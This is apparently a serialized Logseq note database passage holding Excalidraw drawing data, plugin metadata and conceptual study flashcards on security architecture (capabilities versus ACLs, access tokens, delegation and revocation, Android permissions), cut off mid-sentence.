oundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605956747,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"startBinding\\logseq____":null,\\logseq____"endBinding\\logseq____":{\\logseq____"elementId\\logseq____":\\logseq____"l1QvNgyVWi9rSs9iEZ-Y9\\logseq____",\\logseq____"focus\\logseq____":0.03666276150632129,\\logseq____"gap\\logseq____":1.0000000000000568},\\logseq____"lastCommittedPoint\\logseq____":null,\\logseq____"startArrowhead\\logseq____":null,\\logseq____"endArrowhead\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"points\\logseq____":[[0,0],[109.98214285714278,-21],[115.21835295548442,-212.3214285714282]]},{\\logseq____"id\\logseq____":\\logseq____"8ctK7mdhHb2DVqR1e_nXK\\logseq____",\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"x\\logseq____":655.7738095238096,\\logseq____"y\\logseq____":597.8253968253966,\\logseq____"width\\logseq____":298.57142857142867,\\logseq____"height\\logseq____":180.0000000000001,\\logseq____"angle\\logseq____":0,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"groupIds\\logseq____":[],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":3},\\logseq____"seed\\logseq____":279187236,\\logseq____"version\\logseq____":117,\\logseq____"versionNonce\\logseq____":182665764,\\logseq____"isDeleted\\logseq____":true,\\logseq____"boundElements\\logseq____":null,\\logseq____"updated\\logseq____":1729605860629,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"id\\logseq____":\\logseq____"X37iYwlX9j5Ls6AXuEhCX\\logseq____",\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"x\\logseq____":774.3452380952383,\\logseq____"y\\logseq____":607.8253968253968,\\logseq____"width\\logseq____":57.33995056152344,\\logseq____"height\\logseq____":25,\\logseq____"angle\\logseq____":0,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"groupIds\\logseq____":[],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"seed\\logseq____":1121397660,\\logseq____"version\\logseq____":107,\\logseq____"versionNonce\\logseq____":1508426396,\\logseq____"isDeleted\\logseq____":false,\\logseq____"boundElements\\logseq____":null,\\logseq____"updated\\logseq____":1729605887545,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"text\\logseq____":\\logseq____"Kernel\\logseq____",\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"textAlign\\logseq____":\\logseq____"left\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"top\\logseq____",\\logseq____"baseline\\logseq____":18,\\logseq____"containerId\\logseq____":null,\\logseq____"originalText\\logseq____":\\logseq____"Kernel\\logseq____",\\logseq____"lineHeight\\logseq____":1.25},{\\logseq____"id\\logseq____":\\logseq____"PqPMoaE0eDH2QYtnuaGt3\\logseq____",\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"x\\logseq____":657.202380952381,\\logseq____"y\\logseq____":602.111111111111,\\logseq____"width\\logseq____":295.71428571428584,\\logseq____"height\\logseq____":162.8571428571429,\\logseq____"angle\\logseq____":0,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"groupIds\\logseq____":[],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":3},\\logseq____"seed\\logseq____":1258811804,\\logseq____"version\\logseq____":138,\\logseq____"versionNonce\\logseq____":893757732,\\logseq____"isDeleted\\logseq____":false,\\logseq____"boundElements\\logseq____":null,\\logseq____"updated\\logseq____":1729605886024,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false}],\\logseq____"files\\logseq____":{},\\logseq____"appState\\logseq____":{\\logseq____"gridSize\\logseq____":null,\\logseq____"viewBackgroundColor\\logseq____":\\logseq____"#ffffff\\logseq____",\\logseq____"zoom\\logseq____":{\\logseq____"value\\logseq____":0.7000000000000001},\\logseq____"offsetTop\\logseq____":20,\\logseq____"offsetLeft\\logseq____":0,\\logseq____"scrollX\\logseq____":522.7976190476188,\\logseq____"scrollY\\logseq____":262.17460317460325,\\logseq____"viewModeEnabled\\logseq____":false,\\logseq____"zenModeEnabled\\logseq____":false}}\\n```logseq____",536870916]],[logseq____"^15logseq____",[327,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[327,logseq____"^Flogseq____",326,536870916]],[logseq____"^15logseq____",[327,logseq____"^Xlogseq____",322,536870916]],[logseq____"^15logseq____",[327,logseq____"^Vlogseq____",322,536870916]],[logseq____"^15logseq____",[327,logseq____"^Ulogseq____",322,536870916]],[logseq____"^15logseq____",[327,logseq____"^;logseq____",logseq____"~u67b83fac-9126-4e58-8aa1-0793fde86429logseq____",536870916]],[logseq____"^15logseq____",[328,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^1:logseq____",logseq____"rendererlogseq____",logseq____"^1;logseq____",[logseq____"excalidraw-menulogseq____",logseq____"excalidraw-2024-10-22-15-59-19logseq____"]],536870916]],[logseq____"^15logseq____",[328,logseq____"^Wlogseq____",logseq____"macrologseq____",536870916]],[logseq____"^15logseq____",[328,logseq____"^Tlogseq____",logseq____"renderer excalidraw-menu excalidraw-2024-10-22-15-59-19logseq____",536870916]],[logseq____"^15logseq____",[330,logseq____"^Klogseq____",1740128172108,536870916]],[logseq____"^15logseq____",[330,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[330,logseq____"^Ylogseq____",logseq____"excalidraw-library-items-storagelogseq____",536870916]],[logseq____"^15logseq____",[330,logseq____"^11logseq____",logseq____"excalidraw-library-items-storagelogseq____",536870916]],[logseq____"^15logseq____",[330,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"~:excalidraw-plugin-librarylogseq____",true],536870916]],[logseq____"^15logseq____",[330,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^1@logseq____",logseq____"truelogseq____"],536870916]],[logseq____"^15logseq____",[330,logseq____"^Blogseq____",1740128172108,536870916]],[logseq____"^15logseq____",[330,logseq____"^;logseq____",logseq____"~u67b83fac-5dd5-402a-b1dd-693bd574023clogseq____",536870916]],[logseq____"^15logseq____",[331,logseq____"^Klogseq____",1740128172108,536870916]],[logseq____"^15logseq____",[331,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[331,logseq____"^Ylogseq____",logseq____"excalidraw-plugin-librarylogseq____",536870916]],[logseq____"^15logseq____",[331,logseq____"^11logseq____",logseq____"excalidraw-plugin-librarylogseq____",536870916]],[logseq____"^15logseq____",[331,logseq____"^Blogseq____",1740128172108,536870916]],[logseq____"^15logseq____",[331,logseq____"^;logseq____",logseq____"~u67b83fac-8417-48f5-a52f-d80d5d331d31logseq____",536870916]],[logseq____"^15logseq____",[332,logseq____"^Qlogseq____",logseq____"excalidraw-plugin-library:: true\\n\\nlogseq____",536870916]],[logseq____"^15logseq____",[332,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[332,logseq____"^1=logseq____",[logseq____"^1logseq____>logseq____",[]],536870916]],[logseq____"^15logseq____",[332,logseq____"^Flogseq____",330,536870916]],[logseq____"^15logseq____",[332,logseq____"^Xlogseq____",330,536870916]],[logseq____"^15logseq____",[332,logseq____"^Vlogseq____",330,536870916]],[logseq____"^15logseq____",[332,logseq____"^Ulogseq____",330,536870916]],[logseq____"^15logseq____",[332,logseq____"^Ulogseq____",331,536870916]],[logseq____"^15logseq____",[332,logseq____"^:logseq____",true,536870916]],[logseq____"^15logseq____",[332,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^1@logseq____",true],536870916]],[logseq____"^15logseq____",[332,logseq____"^Jlogseq____",[logseq____"^1@logseq____"],536870916]],[logseq____"^15logseq____",[332,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^1@logseq____",logseq____"truelogseq____"],536870916]],[logseq____"^15logseq____",[332,logseq____"^Hlogseq____",331,536870916]],[logseq____"^15logseq____",[332,logseq____"^;logseq____",logseq____"~u67b83fac-15cf-4a29-82fe-2296cfcf0da4logseq____",536870916]],[logseq____"^15logseq____",[333,logseq____"^Qlogseq____",logseq____"#+BEGIN_IMPORTANT\\nThis file is used to store excalidraw information, Please do not manually edit this file.\\n#+END_IMPORTANTlogseq____",536870916]],[logseq____"^15logseq____",[333,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[333,logseq____"^Flogseq____",332,536870916]],[logseq____"^15logseq____",[333,logseq____"^Xlogseq____",330,536870916]],[logseq____"^15logseq____",[333,logseq____"^Vlogseq____",330,536870916]],[logseq____"^15logseq____",[333,logseq____"^Ulogseq____",330,536870916]],[logseq____"^15logseq____",[333,logseq____"^;logseq____",logseq____"~u67b83fac-6d87-4633-be97-33d50b7ab685logseq____",536870916]],[logseq____"^15logseq____",[334,logseq____"^Qlogseq____",logseq____"~```json\\n[]\\n```logseq____",536870916]],[logseq____"^15logseq____",[334,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[334,logseq____"^Flogseq____",333,536870916]],[logseq____"^15logseq____",[334,logseq____"^Xlogseq____",330,536870916]],[logseq____"^15logseq____",[334,logseq____"^Vlogseq____",330,536870916]],[logseq____"^15logseq____",[334,logseq____"^Ulogseq____",330,536870916]],[logseq____"^15logseq____",[334,logseq____"^;logseq____",logseq____"~u67b83fac-8c09-4b57-9c77-5d2e02e6f689logseq____",536870916]],[logseq____"^15logseq____",[336,logseq____"^Klogseq____",1740128172111,536870916]],[logseq____"^15logseq____",[336,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[336,logseq____"^Ylogseq____",logseq____"saarctf2024 aftermathlogseq____",536870916]],[logseq____"^15logseq____",[336,logseq____"^11logseq____",logseq____"saarCTF2024 Aftermathlogseq____",536870916]],[logseq____"^15logseq____",[336,logseq____"^Blogseq____",1740128172111,536870916]],[logseq____"^15logseq____",[336,logseq____"^;logseq____",logseq____"~u67b83fac-60b2-4c29-9fef-acae50b7a685logseq____",536870916]],[logseq____"^15logseq____",[337,logseq____"^Qlogseq____",logseq____"logseq____",536870916]],[logseq____"^15logseq____",[337,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[337,logseq____"^Flogseq____",336,536870916]],[logseq____"^15logseq____",[337,logseq____"^Xlogseq____",336,536870916]],[logseq____"^15logseq____",[337,logseq____"^Vlogseq____",336,536870916]],[logseq____"^15logseq____",[337,logseq____"^Ulogseq____",336,536870916]],[logseq____"^15logseq____",[337,logseq____"^;logseq____",logseq____"~u67b83fac-49ab-4bde-ab83-0c5ca27ffacelogseq____",536870916]],[logseq____"^15logseq____",[338,logseq____"^2logseq____",1,536870917]],[logseq____"^15logseq____",[338,logseq____"^Tlogseq____",logseq____"^2logseq____",536870917]],[logseq____"^15logseq____",[339,logseq____"^Tlogseq____",logseq____"^Rlogseq____",536870918]],[logseq____"^15logseq____",[340,logseq____"^Qlogseq____",logseq____"logseq____",536870921]],[logseq____"^15logseq____",[340,logseq____"^Ologseq____",logseq____"^16logseq____",536870921]],[logseq____"^15logseq____",[340,logseq____"^@logseq____",false,536870921]],[logseq____"^15logseq____",[340,logseq____"^Flogseq____",38,536870921]],[logseq____"^15logseq____",[340,logseq____"^Xlogseq____",38,536870921]],[logseq____"^15logseq____",[340,logseq____"^Vlogseq____",38,536870921]],[logseq____"^15logseq____",[340,logseq____"^Ulogseq____",38,536870922]],[logseq____"^15logseq____",[340,logseq____"^?logseq____",[logseq____"^ logseq____"],536870921]],[logseq____"^15logseq____",[340,logseq____"^;logseq____",logseq____"~u67b8404b-9a67-49fc-b969-9ffd84a6af22logseq____",536870921]],[logseq____"^15logseq____",[341,logseq____"^Qlogseq____",logseq____"Authority has to be wielded *explicitly* in an ideal capability systemlogseq____",536870957]],[logseq____"^15logseq____",[341,logseq____"^Ologseq____",logseq____"^16logseq____",536870927]],[logseq____"^15logseq____",[341,logseq____"^Flogseq____",44,536870927]],[logseq____"^15logseq____",[341,logseq____"^Xlogseq____",37,536870927]],[logseq____"^15logseq____",[341,logseq____"^Vlogseq____",60,536870927]],[logseq____"^15logseq____",[341,logseq____"^Ulogseq____",2,536871284]],[logseq____"^15logseq____",[341,logseq____"^Ulogseq____",37,536871284]],[logseq____"^15logseq____",[341,logseq____"^Ulogseq____",38,536871284]],[logseq____"^15logseq____",[341,logseq____"^?logseq____",[logseq____"^ logseq____"],536870957]],[logseq____"^15logseq____",[341,logseq____"^;logseq____",logseq____"~u67b840a2-9d9e-4c21-bad4-69615fd6662blogseq____",536870927]],[logseq____"^15logseq____",[342,logseq____"^Qlogseq____",logseq____"## ACL vs Capabilitieslogseq____",536870968]],[logseq____"^15logseq____",[342,logseq____"^Ologseq____",logseq____"^16logseq____",536870960]],[logseq____"^15logseq____",[342,logseq____"^Flogseq____",58,536870964]],[logseq____"^15logseq____",[342,logseq____"^Xlogseq____",37,536870960]],[logseq____"^15logseq____",[342,logseq____"^Vlogseq____",37,536870964]],[logseq____"^15logseq____",[342,logseq____"^Ulogseq____",37,536870965]],[logseq____"^15logseq____",[342,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870968]],[logseq____"^15logseq____",[342,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536870968]],[logseq____"^15logseq____",[342,logseq____"^;logseq____",logseq____"~u67b84172-4dad-4336-aa2c-7af893f3bd47logseq____",536870960]],[logseq____"^15logseq____",[343,logseq____"^Qlogseq____",logseq____"### Ambiguous terms:logseq____",536871107]],[logseq____"^15logseq____",[343,logseq____"^Ologseq____",logseq____"^16logseq____",536870969]],[logseq____"^15logseq____",[343,logseq____"^Flogseq____",347,536871135]],[logseq____"^15logseq____",[343,logseq____"^Xlogseq____",37,536870969]],[logseq____"^15logseq____",[343,logseq____"^Vlogseq____",342,536870975]],[logseq____"^15logseq____",[343,logseq____"^Ulogseq____",37,536870970]],[logseq____"^15logseq____",[343,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536871107]],[logseq____"^15logseq____",[343,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536871107]],[logseq____"^15logseq____",[343,logseq____"^;logseq____",logseq____"~u67b8417f-33ea-45a9-9583-4af220525523logseq____",536870969]],[logseq____"^15logseq____",[344,logseq____"^Qlogseq____",logseq____"Linux capabilities (!= object capabilities): Privileges from super-user divided into distinct units (capabilities can be independently en-/disabled and are per-thread attributes)logseq____",536871047]],[logseq____"^15logseq____",[344,logseq____"^Ologseq____",logseq____"^16logseq____",536870981]],[logseq____"^15logseq____",[344,logseq____"^Flogseq____",343,536870981]],[logseq____"^15logseq____",[344,logseq____"^Xlogseq____",37,536870981]],[logseq____"^15logseq____",[344,logseq____"^Vlogseq____",343,536870983]],[logseq____"^15logseq____",[344,logseq____"^Ulogseq____",37,536871136]],[logseq____"^15logseq____",[344,logseq____"^?logseq____",[logseq____"^ logseq____"],536871047]],[logseq____"^15logseq____",[344,logseq____"^;logseq____",logseq____"~u67b84186-3287-4c56-8a56-4772afb38eb3logseq____",536870981]],[logseq____"^15logseq____",[345,logseq____"^Qlogseq____",logseq____"Windows access tokens: Security context of a process/thread (contains identity and privileges of the user account)logseq____",536871078]],[logseq____"^15logseq____",[345,logseq____"^Ologseq____",logseq____"^16logseq____",536871048]],[logseq____"^15logseq____",[345,logseq____"^Flogseq____",344,536871048]],[logseq____"^15logseq____",[345,logseq____"^Xlogseq____",37,536871048]],[logseq____"^15logseq____",[345,logseq____"^Vlogseq____",343,536871048]],[logseq____"^15logseq____",[345,logseq____"^Ulogseq____",37,536871136]],[logseq____"^15logseq____",[345,logseq____"^?logseq____",[logseq____"^ logseq____"],536871078]],[logseq____"^15logseq____",[345,logseq____"^;logseq____",logseq____"~u67b84213-80a0-4d69-9737-0781cc871555logseq____",536871048]],[logseq____"^15logseq____",[346,logseq____"^Qlogseq____",logseq____"OAuth/JWT: authorization with signed token asserting claimslogseq____",536871114]],[logseq____"^15logseq____",[346,logseq____"^Ologseq____",logseq____"^16logseq____",536871081]],[logseq____"^15logseq____",[346,logseq____"^Flogseq____",345,536871081]],[logseq____"^15logseq____",[346,logseq____"^Xlogseq____",37,536871081]],[logseq____"^15logseq____",[346,logseq____"^Vlogseq____",343,536871081]],[logseq____"^15logseq____",[346,logseq____"^Ulogseq____",37,536871136]],[logseq____"^15logseq____",[346,logseq____"^?logseq____",[logseq____"^ logseq____"],536871114]],[logseq____"^15logseq____",[346,logseq____"^;logseq____",logseq____"~u67b84243-d180-4ae6-be8e-b152205ec147logseq____",536871081]],[logseq____"^15logseq____",[347,logseq____"^Qlogseq____",logseq____"### Inheriting access rights: #card #security-architecturelogseq____",536871144]],[logseq____"^15logseq____",[347,logseq____"^Ologseq____",logseq____"^16logseq____",536871117]],[logseq____"^15logseq____",[347,logseq____"^Flogseq____",342,536871117]],[logseq____"^15logseq____",[347,logseq____"^Xlogseq____",37,536871117]],[logseq____"^15logseq____",[347,logseq____"^Vlogseq____",342,536871117]],[logseq____"^15logseq____",[347,logseq____"^Ulogseq____",2,536871145]],[logseq____"^15logseq____",[347,logseq____"^Ulogseq____",37,536871145]],[logseq____"^15logseq____",[347,logseq____"^Ulogseq____",38,536871145]],[logseq____"^15logseq____",[347,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536871144]],[logseq____"^15logseq____",[347,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536871144]],[logseq____"^15logseq____",[347,logseq____"^Hlogseq____",2,536871144]],[logseq____"^15logseq____",[347,logseq____"^Hlogseq____",38,536871144]],[logseq____"^15logseq____",[347,logseq____"^;logseq____",logseq____"~u67b84272-295e-42e3-8318-21c64442a1c6logseq____",536871117]],[logseq____"^15logseq____",[348,logseq____"^Qlogseq____",logseq____"Inheritance through *subject ID*, e.g., UIDlogseq____",536871242]],[logseq____"^15logseq____",[348,logseq____"^Ologseq____",logseq____"^16logseq____",536871133]],[logseq____"^15logseq____",[348,logseq____"^Flogseq____",50,536871210]],[logseq____"^15logseq____",[348,logseq____"^Xlogseq____",37,536871133]],[logseq____"^15logseq____",[348,logseq____"^Vlogseq____",57,536871210]],[logseq____"^15logseq____",[348,logseq____"^Ulogseq____",2,536871145]],[logseq____"^15logseq____",[348,logseq____"^Ulogseq____",37,536871145]],[logseq____"^15logseq____",[348,logseq____"^Ulogseq____",38,536871145]],[logseq____"^15logseq____",[348,logseq____"^?logseq____",[logseq____"^ logseq____"],536871242]],[logseq____"^15logseq____",[348,logseq____"^;logseq____",logseq____"~u67b84281-55b8-4b9e-8aeb-2e69f8d228fblogseq____",536871133]],[logseq____"^15logseq____",[349,logseq____"^Qlogseq____",logseq____"Inheritance through *delegation*, i.e., delegate capability tokenlogseq____",536871236]],[logseq____"^15logseq____",[349,logseq____"^Ologseq____",logseq____"^16logseq____",536871169]],[logseq____"^15logseq____",[349,logseq____"^Flogseq____",47,536871214]],[logseq____"^15logseq____",[349,logseq____"^Xlogseq____",37,536871169]],[logseq____"^15logseq____",[349,logseq____"^Vlogseq____",58,536871214]],[logseq____"^15logseq____",[349,logseq____"^Ulogseq____",2,536871170]],[logseq____"^15logseq____",[349,logseq____"^Ulogseq____",37,536871170]],[logseq____"^15logseq____",[349,logseq____"^Ulogseq____",38,536871170]],[logseq____"^15logseq____",[349,logseq____"^?logseq____",[logseq____"^ logseq____"],536871236]],[logseq____"^15logseq____",[349,logseq____"^;logseq____",logseq____"~u67b842b7-2cdb-4ff2-aafa-208e2fe93e8elogseq____",536871169]],[logseq____"^15logseq____",[350,logseq____"^Qlogseq____",logseq____"Delegation is hard (alternative approach: let other process act under current user, e.g., `setuid`)logseq____",536871280]],[logseq____"^15logseq____",[350,logseq____"^Ologseq____",logseq____"^16logseq____",536871245]],[logseq____"^15logseq____",[350,logseq____"^Flogseq____",348,536871245]],[logseq____"^15logseq____",[350,logseq____"^Xlogseq____",37,536871245]],[logseq____"^15logseq____",[350,logseq____"^Vlogseq____",57,536871245]],[logseq____"^15logseq____",[350,logseq____"^Ulogseq____",2,536871246]],[logseq____"^15logseq____",[350,logseq____"^Ulogseq____",37,536871246]],[logseq____"^15logseq____",[350,logseq____"^Ulogseq____",38,536871246]],[logseq____"^15logseq____",[350,logseq____"^?logseq____",[logseq____"^ logseq____"],536871280]],[logseq____"^15logseq____",[350,logseq____"^;logseq____",logseq____"~u67b8434c-4424-441d-a0df-df8f8c266cb0logseq____",536871245]],[logseq____"^15logseq____",[351,logseq____"^Qlogseq____",logseq____"Revocation is easylogseq____",536871290]],[logseq____"^15logseq____",[351,logseq____"^Ologseq____",logseq____"^16logseq____",536871283]],[logseq____"^15logseq____",[351,logseq____"^Flogseq____",350,536871283]],[logseq____"^15logseq____",[351,logseq____"^Xlogseq____",37,536871283]],[logseq____"^15logseq____",[351,logseq____"^Vlogseq____",57,536871283]],[logseq____"^15logseq____",[351,logseq____"^Ulogseq____",2,536871284]],[logseq____"^15logseq____",[351,logseq____"^Ulogseq____",37,536871284]],[logseq____"^15logseq____",[351,logseq____"^Ulogseq____",38,536871284]],[logseq____"^15logseq____",[351,logseq____"^?logseq____",[logseq____"^ logseq____"],536871290]],[logseq____"^15logseq____",[351,logseq____"^;logseq____",logseq____"~u67b84392-2704-4310-9016-83e8e39aba31logseq____",536871283]],[logseq____"^15logseq____",[352,logseq____"^Qlogseq____",logseq____"Delegation is easy: pass capabilities *at runtime* (via *monitor-controlled channel*)logseq____",536871315]],[logseq____"^15logseq____",[352,logseq____"^Ologseq____",logseq____"^16logseq____",536871293]],[logseq____"^15logseq____",[352,logseq____"^Flogseq____",349,536871293]],[logseq____"^15logseq____",[352,logseq____"^Xlogseq____",37,536871293]],[logseq____"^15logseq____",[352,logseq____"^Vlogseq____",58,536871293]],[logseq____"^15logseq____",[352,logseq____"^Ulogseq____",2,536871294]],[logseq____"^15logseq____",[352,logseq____"^Ulogseq____",37,536871294]],[logseq____"^15logseq____",[352,logseq____"^Ulogseq____",38,536871294]],[logseq____"^15logseq____",[352,logseq____"^?logseq____",[logseq____"^ logseq____"],536871315]],[logseq____"^15logseq____",[352,logseq____"^;logseq____",logseq____"~u67b843a1-089b-417c-815d-e5b7b3e1de97logseq____",536871293]],[logseq____"^15logseq____",[353,logseq____"^Qlogseq____",logseq____"Revocation is hard: possible, but overhead, e.g., bookkeeping via delegation chainslogseq____",536871364]],[logseq____"^15logseq____",[353,logseq____"^Ologseq____",logseq____"^16logseq____",536871318]],[logseq____"^15logseq____",[353,logseq____"^Flogseq____",352,536871318]],[logseq____"^15logseq____",[353,logseq____"^Xlogseq____",37,536871318]],[logseq____"^15logseq____",[353,logseq____"^Vlogseq____",58,536871318]],[logseq____"^15logseq____",[353,logseq____"^Ulogseq____",2,536871319]],[logseq____"^15logseq____",[353,logseq____"^Ulogseq____",37,536871319]],[logseq____"^15logseq____",[353,logseq____"^Ulogseq____",38,536871319]],[logseq____"^15logseq____",[353,logseq____"^?logseq____",[logseq____"^ logseq____"],536871364]],[logseq____"^15logseq____",[353,logseq____"^;logseq____",logseq____"~u67b843d0-a76d-4bc7-aa53-8c9f7e4a7373logseq____",536871318]],[logseq____"^15logseq____",[354,logseq____"^Klogseq____",1740129304099,536871371]],[logseq____"^15logseq____",[354,logseq____"^Ologseq____",logseq____"^16logseq____",536871373]],[logseq____"^15logseq____",[354,logseq____"^@logseq____",false,536871371]],[logseq____"^15logseq____",[354,logseq____"^Ylogseq____",logseq____"permissionslogseq____",536871371]],[logseq____"^15logseq____",[354,logseq____"^11logseq____",logseq____"Permissionslogseq____",536871371]],[logseq____"^15logseq____",[354,logseq____"^Blogseq____",1740215678157,536874659]],[logseq____"^15logseq____",[354,logseq____"^;logseq____",logseq____"~u67bd79bb-14e9-4c48-b4e0-ef8fa0c80191logseq____",536878163]],[logseq____"^15logseq____",[355,logseq____"^Qlogseq____",logseq____"## General Information #card #security-architecturelogseq____",536871379]],[logseq____"^15logseq____",[355,logseq____"^Ologseq____",logseq____"^16logseq____",536871374]],[logseq____"^15logseq____",[355,logseq____"^@logseq____",false,536871374]],[logseq____"^15logseq____",[355,logseq____"^Flogseq____",354,536871374]],[logseq____"^15logseq____",[355,logseq____"^Xlogseq____",354,536871374]],[logseq____"^15logseq____",[355,logseq____"^Vlogseq____",354,536871374]],[logseq____"^15logseq____",[355,logseq____"^Ulogseq____",2,536871380]],[logseq____"^15logseq____",[355,logseq____"^Ulogseq____",38,536871380]],[logseq____"^15logseq____",[355,logseq____"^Ulogseq____",354,536871380]],[logseq____"^15logseq____",[355,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873242]],[logseq____"^15logseq____",[355,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[355,logseq____"^Hlogseq____",2,536873242]],[logseq____"^15logseq____",[355,logseq____"^Hlogseq____",38,536873242]],[logseq____"^15logseq____",[355,logseq____"^;logseq____",logseq____"~u67b84418-fac8-49bc-95ce-5ee0e9773ff6logseq____",536871374]],[logseq____"^15logseq____",[357,logseq____"^Qlogseq____",logseq____"Permissions as *access rights*/*privileges* in Androidlogseq____'s application frameworklogseq____",536871413]],[logseq____"^15logseq____",[357,logseq____"^Ologseq____",logseq____"^16logseq____",536871384]],[logseq____"^15logseq____",[357,logseq____"^@logseq____",false,536871384]],[logseq____"^15logseq____",[357,logseq____"^Flogseq____",355,536871384]],[logseq____"^15logseq____",[357,logseq____"^Xlogseq____",354,536871384]],[logseq____"^15logseq____",[357,logseq____"^Vlogseq____",355,536871386]],[logseq____"^15logseq____",[357,logseq____"^Ulogseq____",2,536871387]],[logseq____"^15logseq____",[357,logseq____"^Ulogseq____",38,536871387]],[logseq____"^15logseq____",[357,logseq____"^Ulogseq____",354,536871387]],[logseq____"^15logseq____",[357,logseq____"^;logseq____",logseq____"~u67b844af-cda0-4dae-97f2-f26325145cbclogseq____",536871384]],[logseq____"^15logseq____",[358,logseq____"^Qlogseq____",logseq____"$logseq____> 140$ default permissionslogseq____",536871432]],[logseq____"^15logseq____",[358,logseq____"^Ologseq____",logseq____"^16logseq____",536871414]],[logseq____"^15logseq____",[358,logseq____"^@logseq____",false,536871414]],[logseq____"^15logseq____",[358,logseq____"^Flogseq____",357,536871414]],[logseq____"^15logseq____",[358,logseq____"^Xlogseq____",354,536871414]],[logseq____"^15logseq____",[358,logseq____"^Vlogseq____",355,536871414]],[logseq____"^15logseq____",[358,logseq____"^Ulogseq____",2,536871415]],[logseq____"^15logseq____",[358,logseq____"^Ulogseq____",38,536871415]],[logseq____"^15logseq____",[358,logseq____"^Ulogseq____",354,536871415]],[logseq____"^15logseq____",[358,logseq____"^;logseq____",logseq____"~u67b844ca-d587-4b3f-9f6d-8348dc7f5a5flogseq____",536871414]],[logseq____"^15logseq____",[359,logseq____"^Qlogseq____",logseq____"Permissions are *assigned to sandboxes*, i.e., *UID*slogseq____",536871460]],[logseq____"^15logseq____",[359,logseq____"^Ologseq____",logseq____"^16logseq____",536871435]],[logseq____"^15logseq____",[359,logseq____"^@logseq____",false,536871435]],[logseq____"^15logseq____",[359,logseq____"^Flogseq____",358,536871435]],[logseq____"^15logseq____",[359,logseq____"^Xlogseq____",354,536871435]],[logseq____"^15logseq____",[359,logseq____"^Vlogseq____",355,536871435]],[logseq____"^15logseq____",[359,logseq____"^Ulogseq____",2,536871436]],[logseq____"^15logseq____",[359,logseq____"^Ulogseq____",38,536871436]],[logseq____"^15logseq____",[359,logseq____"^Ulogseq____",354,536871436]],[logseq____"^15logseq____",[359,logseq____"^;logseq____",logseq____"~u67b844e1-6ea7-46be-bf79-6b778dda531alogseq____",536871435]],[logseq____"^15logseq____",[360,logseq____"^Qlogseq____",logseq____"Developers can define custom permissions, e.g., for exportet 